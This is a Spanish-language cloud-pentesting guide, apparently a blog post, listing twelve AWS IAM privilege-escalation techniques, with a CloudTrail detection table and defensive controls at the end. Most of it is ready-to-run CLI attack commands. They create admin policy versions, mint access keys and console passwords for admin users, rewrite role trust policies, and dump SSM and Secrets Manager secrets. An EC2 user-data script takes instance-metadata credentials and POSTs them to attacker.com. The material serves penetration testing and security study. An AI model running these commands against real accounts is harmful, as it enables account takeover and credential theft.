AWS IAM es a la vez el sistema más poderoso y más abusado en seguridad en la nube. Si los permisos se configuran incorrectamente — aunque sea ligeramente — un atacante puede pasar de un rol de solo lectura de bajo privilegio a AdministratorAccess completo en menos de cinco minutos.

Esta guía cubre cada técnica de escalada de privilegios IAM que funciona en 2026. Rutas de ataque reales, comandos reales, notas de detección donde son relevantes. Si haces pentesting en la nube, engagements de red team, o estudias para certificaciones de seguridad AWS — esta es la referencia completa.

Necesitarás un entorno de prueba. Levanta una cuenta AWS dedicada. Si quieres un VPS para ejecutar herramientas, Vultr y DigitalOcean son buenas opciones.


Por Qué la Escalada de Privilegios IAM es Diferente

En entornos tradicionales, la privesc significa exploits locales, binarios SUID mal configurados o vulnerabilidades de kernel. AWS es diferente. La superficie de ataque es casi completamente basada en políticas.

Un solo permiso mal configurado — iam:PassRole, iam:CreatePolicyVersion, lambda:InvokeFunction — puede entregarte las llaves de toda una cuenta AWS. Sin necesidad de exploit. Solo un documento JSON mal configurado.

Esto hace que la escalada de privilegios IAM sea:

  • Sigilosa — parece uso normal de la API en CloudTrail
  • Confiable — sin preocupaciones de fiabilidad de exploits, las políticas o lo permiten o no
  • De alto impacto — una sola ruta a menudo lleva directamente a admin de toda la cuenta

Configuración: Herramientas y Enumeración Primero

Antes de escalar, necesitas saber con qué estás trabajando.

Enumerar Identidad Actual

# ¿Quién soy?
aws sts get-caller-identity

# ¿Qué políticas tengo adjuntas?
aws iam list-attached-user-policies --user-name <username>
aws iam list-user-policies --user-name <username>

# ¿En qué grupos estoy?
aws iam list-groups-for-user --user-name <username>

# Si eres un rol, verifica las políticas del rol
aws iam list-attached-role-policies --role-name <role-name>
aws iam list-role-policies --role-name <role-name>

Obtener Documentos de Políticas

# Obtener la versión actual de una política administrada
aws iam get-policy --policy-arn <policy-arn>
aws iam get-policy-version --policy-arn <policy-arn> --version-id v1

# Obtener documento de política inline
aws iam get-user-policy --user-name <username> --policy-name <policy-name>
aws iam get-role-policy --role-name <role-name> --policy-name <policy-name>

Enumeración Automatizada con Pacu

# Instalar
pip install pacu

# Ejecutar
pacu

# En la consola Pacu:
Pacu> import_keys --profile <profile>
Pacu> run iam__enum_permissions
Pacu> run iam__privesc_scan

Enumerar con enumerate-iam

git clone https://github.com/andresriancho/enumerate-iam
cd enumerate-iam
pip install -r requirements.txt
python enumerate-iam.py --access-key <key> --secret-key <secret>

Técnica 1: iam:CreatePolicyVersion

Permiso requerido: iam:CreatePolicyVersion

Esta es la ruta más limpia. Si puedes crear nuevas versiones de una política administrada existente — especialmente una adjunta a una entidad más privilegiada — puedes escribir una nueva versión que otorgue *:* y establecerla como predeterminada.

# Verificar cuántas versiones existen actualmente
aws iam list-policy-versions --policy-arn <policy-arn>

# Crear una nueva versión con AdministratorAccess
aws iam create-policy-version \
  --policy-arn <policy-arn> \
  --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
  --set-as-default

AWS permite un máximo de 5 versiones por política. Si ya hay 5, necesitas eliminar una primero:

aws iam delete-policy-version --policy-arn <policy-arn> --version-id v1

Detección: CloudTrail registra CreatePolicyVersion y SetDefaultPolicyVersion. Es sospechoso cuando la nueva versión es excesivamente permisiva.


Técnica 2: iam:SetDefaultPolicyVersion

Permiso requerido: iam:SetDefaultPolicyVersion

Si una política ya tiene múltiples versiones — quizás un admin anterior creó una versión permisiva que está como v2 — puedes convertirla en predeterminada sin crear nada nuevo.

# Listar todas las versiones
aws iam list-policy-versions --policy-arn <policy-arn>

# Establecer una versión más permisiva existente como predeterminada
aws iam set-default-policy-version --policy-arn <policy-arn> --version-id v2

Menos ruidoso que crear una nueva versión. Mismo resultado final.


Técnica 3: iam:PassRole + Servicios

Permisos requeridos: iam:PassRole + permisos específicos del servicio (ej. ec2:RunInstances, lambda:CreateFunction)

iam:PassRole te permite adjuntar un rol IAM a un servicio AWS al crear un recurso. Si el rol que estás pasando tiene más privilegios que tú — game over.

PassRole + EC2

Necesitas iam:PassRole y ec2:RunInstances. Lanza una instancia EC2 con un rol admin adjunto, luego accede al servicio de metadatos de instancias para obtener credenciales.

# Lanzar instancia con rol altamente privilegiado
aws ec2 run-instances \
  --image-id ami-0abcdef1234567890 \
  --instance-type t2.micro \
  --iam-instance-profile Name=AdminProfile \
  --user-data '#!/bin/bash
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ > /tmp/role.txt
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat /tmp/role.txt) > /tmp/creds.json
curl -X POST https://attacker.com/creds -d @/tmp/creds.json' \
  --count 1

# O conectar vía SSM a la instancia
aws ssm start-session --target <instance-id>
# Luego en la instancia:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

PassRole + Lambda

Ruta más común. Crea una función Lambda, adjunta un rol altamente privilegiado, invócala para exfiltrar credenciales.

# Crear la función Lambda (con un rol admin adjunto)
aws lambda create-function \
  --function-name privesc-func \
  --runtime python3.12 \
  --role arn:aws:iam::<account-id>:role/AdminRole \
  --handler index.handler \
  --zip-file fileb://function.zip

# Invocar para confirmar identidad admin
aws lambda invoke \
  --function-name privesc-func \
  --payload '{}' \
  output.json
cat output.json

PassRole + Glue

Los trabajos de Glue ejecutan código arbitrario con un rol adjunto. Útil cuando Lambda no está disponible.

aws glue create-job \
  --name privesc-job \
  --role arn:aws:iam::<account-id>:role/AdminRole \
  --command '{"Name":"glueetl","ScriptLocation":"s3://your-bucket/script.py"}' \
  --glue-version "3.0"

aws glue start-job-run --job-name privesc-job

Técnica 4: iam:CreateAccessKey

Permiso requerido: iam:CreateAccessKey

Simple. Si puedes crear claves de acceso para otros usuarios, créalas para un usuario admin y usa esas credenciales directamente.

# Listar usuarios para encontrar admins
aws iam list-users

# Crear clave de acceso para usuario admin
aws iam create-access-key --user-name admin-user

# La salida contiene AccessKeyId y SecretAccessKey — úsalas directamente
export AWS_ACCESS_KEY_ID=<new-key>
export AWS_SECRET_ACCESS_KEY=<new-secret>
aws sts get-caller-identity

Detección: CloudTrail registra CreateAccessKey. Si la identidad que llama es diferente del usuario objetivo, casi siempre se marca.


Técnica 5: iam:CreateLoginProfile / iam:UpdateLoginProfile

Permisos requeridos: iam:CreateLoginProfile o iam:UpdateLoginProfile

Si un usuario admin no tiene inicio de sesión en la consola, créalo. Si lo tiene, cambia su contraseña.

# Crear inicio de sesión en consola para un usuario IAM que no tiene
aws iam create-login-profile \
  --user-name admin-user \
  --password 'Sup3rS3cur3P@ss!' \
  --no-password-reset-required

# O actualizar contraseña existente
aws iam update-login-profile \
  --user-name admin-user \
  --password 'Sup3rS3cur3P@ss!'

Luego inicia sesión en https://<account-id>.signin.aws.amazon.com/console.


Técnica 6: iam:AttachUserPolicy / iam:AttachRolePolicy

Permisos requeridos: iam:AttachUserPolicy o iam:AttachRolePolicy

Adjunta la política administrada AdministratorAccess directamente a ti mismo.

# Adjuntar AdministratorAccess a tu propio usuario
aws iam attach-user-policy \
  --user-name <your-username> \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# O adjuntar a un rol que puedes asumir
aws iam attach-role-policy \
  --role-name <role-name> \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

Técnica 7: iam:PutUserPolicy / iam:PutRolePolicy

Permisos requeridos: iam:PutUserPolicy o iam:PutRolePolicy

En lugar de adjuntar una política administrada, escribe una política inline directamente en ti mismo.

# Añadir política admin inline a tu propio usuario
aws iam put-user-policy \
  --user-name <your-username> \
  --policy-name PrivEsc \
  --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'

# Igual para un rol
aws iam put-role-policy \
  --role-name <role-name> \
  --policy-name PrivEsc \
  --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'

Técnica 8: iam:AddUserToGroup

Permiso requerido: iam:AddUserToGroup

Si un grupo tiene acceso admin o permisos elevados, agregate a él.

# Listar grupos y sus políticas primero
aws iam list-groups
aws iam list-attached-group-policies --group-name admin-group

# Agregarte al grupo admin
aws iam add-user-to-group --user-name <your-username> --group-name admin-group

Técnica 9: sts:AssumeRole

Permiso requerido: sts:AssumeRole en un rol objetivo

Si puedes asumir un rol que tiene más privilegios que tú, asúmelo. A veces la política de confianza está completamente abierta.

# Verificar qué roles puedes asumir
aws iam simulate-principal-policy \
  --policy-source-arn arn:aws:iam::<account-id>:user/<username> \
  --action-names sts:AssumeRole \
  --resource-arns arn:aws:iam::<account-id>:role/AdminRole

# Asumir el rol
aws sts assume-role \
  --role-arn arn:aws:iam::<account-id>:role/AdminRole \
  --role-session-name privesc

# Usar las credenciales temporales
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<SessionToken>
aws sts get-caller-identity

Verificar políticas de confianza excesivamente permisivas:

aws iam get-role --role-name AdminRole --query 'Role.AssumeRolePolicyDocument'

Busca "Principal": "*" o principales que incluyan tu cuenta ampliamente. También verifica políticas de confianza entre cuentas — a veces los roles internos confían en toda la cuenta (arn:aws:iam::<account-id>:root), lo que significa que cualquier usuario o rol en esa cuenta puede asumirlo.


Técnica 10: iam:UpdateAssumeRolePolicy

Permiso requerido: iam:UpdateAssumeRolePolicy

Modifica la política de confianza de un rol existente para incluirte como principal de confianza, luego asúmelo.

# Actualizar la política de confianza para permitir que tu usuario asuma el rol
aws iam update-assume-role-policy \
  --role-name AdminRole \
  --policy-document '{
    "Version": "2012-10-17",
    "Statement": [
      {
        "Effect": "Allow",
        "Principal": {
          "AWS": "arn:aws:iam::<account-id>:user/<your-username>"
        },
        "Action": "sts:AssumeRole"
      }
    ]
  }'

# Ahora asumir el rol
aws sts assume-role \
  --role-arn arn:aws:iam::<account-id>:role/AdminRole \
  --role-session-name privesc

Técnica 11: Metadatos de Instancias EC2 (SSRF a Credenciales IAM)

No es un problema directo de permisos IAM, pero vale incluirlo porque es cómo obtienes las credenciales con las que luego escalas.

Si una instancia EC2 tiene un rol IAM adjunto y obtienes ejecución de código en ella (SSRF, RCE, etc.), consulta el servicio de metadatos:

# IMDSv1 (sin token requerido)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

# IMDSv2 (requiere token)
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

La respuesta te da AccessKeyId, SecretAccessKey y Token — credenciales temporales válidas para el rol adjunto.


Técnica 12: SSM Parameter Store / Secrets Manager

No específico de IAM, pero frecuentemente una ruta lateral hacia privilegios más altos.

# Listar todos los parámetros SSM
aws ssm describe-parameters

# Obtener valores de parámetros (pueden contener contraseñas, claves, tokens)
aws ssm get-parameters-by-path --path "/" --recursive --with-decryption

# Listar secretos de Secrets Manager
aws secretsmanager list-secrets

# Obtener valores de secretos
aws secretsmanager get-secret-value --secret-id <secret-id>

Buscas credenciales hardcodeadas, contraseñas de admin o claves API que pertenecen a cuentas más privilegiadas.


Pacu: Escaneo Automatizado de Privesc

Para un escaneo sistemático de todas las rutas disponibles:

# En Pacu
Pacu> run iam__privesc_scan

# Verifica todas las técnicas anteriores automáticamente
# La salida listará qué rutas de escalada están disponibles

El módulo iam__privesc_scan de Pacu cubre más de 20 técnicas de escalada de privilegios y te dirá exactamente qué rutas están abiertas según tus permisos actuales.


Encadenamiento de Técnicas

Los engagements reales raramente involucran una sola ruta limpia. Más a menudo encadenas:

  1. SSRF en EC2 → obtener credenciales de rol IAM
  2. Enumerar esas credenciales → encontrar iam:PassRole
  3. PassRole + Lambda → ejecutar código como rol admin
  4. Desde el rol admin → crear clave de acceso permanente en un usuario admin

O:

  1. Empezar con usuario de bajo privilegio → encontrar iam:CreatePolicyVersion en una política adjunta a un usuario más privilegiado
  2. Reescribir la política → otorgarte iam:*
  3. Ahora adjuntar AdministratorAccess directamente a ti mismo

El objetivo siempre es el mismo: llegar a un punto donde puedas adjuntar arn:aws:iam::aws:policy/AdministratorAccess a una identidad que controlas — o obtener credenciales de una que ya la tiene.


Detección y Defensa

Si estás del lado azul, estos son los eventos de CloudTrail a vigilar:

EventoTécnica
CreatePolicyVersionTécnica 1
SetDefaultPolicyVersionTécnica 2
PassRole + RunInstances/CreateFunctionTécnica 3
CreateAccessKey (identidad llamante ≠ objetivo)Técnica 4
CreateLoginProfile / UpdateLoginProfileTécnica 5
AttachUserPolicy / AttachRolePolicyTécnica 6
PutUserPolicy / PutRolePolicyTécnica 7
AddUserToGroupTécnica 8
AssumeRole (principal inesperado)Técnica 9
UpdateAssumeRolePolicyTécnica 10

Controles defensivos clave:

  • Habilitar AWS Config con reglas relacionadas con IAM (iam-no-inline-policy-check, iam-policy-no-statements-with-admin-access)
  • GuardDuty con detección de amenazas IAM habilitada
  • SCP (Service Control Policies) en AWS Organizations — limitar duramente lo que puede hacerse incluso con admin
  • Requerir MFA para sts:AssumeRole en roles sensibles
  • Restringir iam:PassRole — debe estar limitado a roles específicos, no a *

Artículos Relacionados


¿Necesitas Contenido Profesional de Seguridad en la Nube?

Si necesitas artículos en profundidad sobre seguridad en la nube, reportes de pentesting o documentación técnica escrita para tu organización, revisa CipherWrite — escritura técnica de seguridad por profesionales, para profesionales.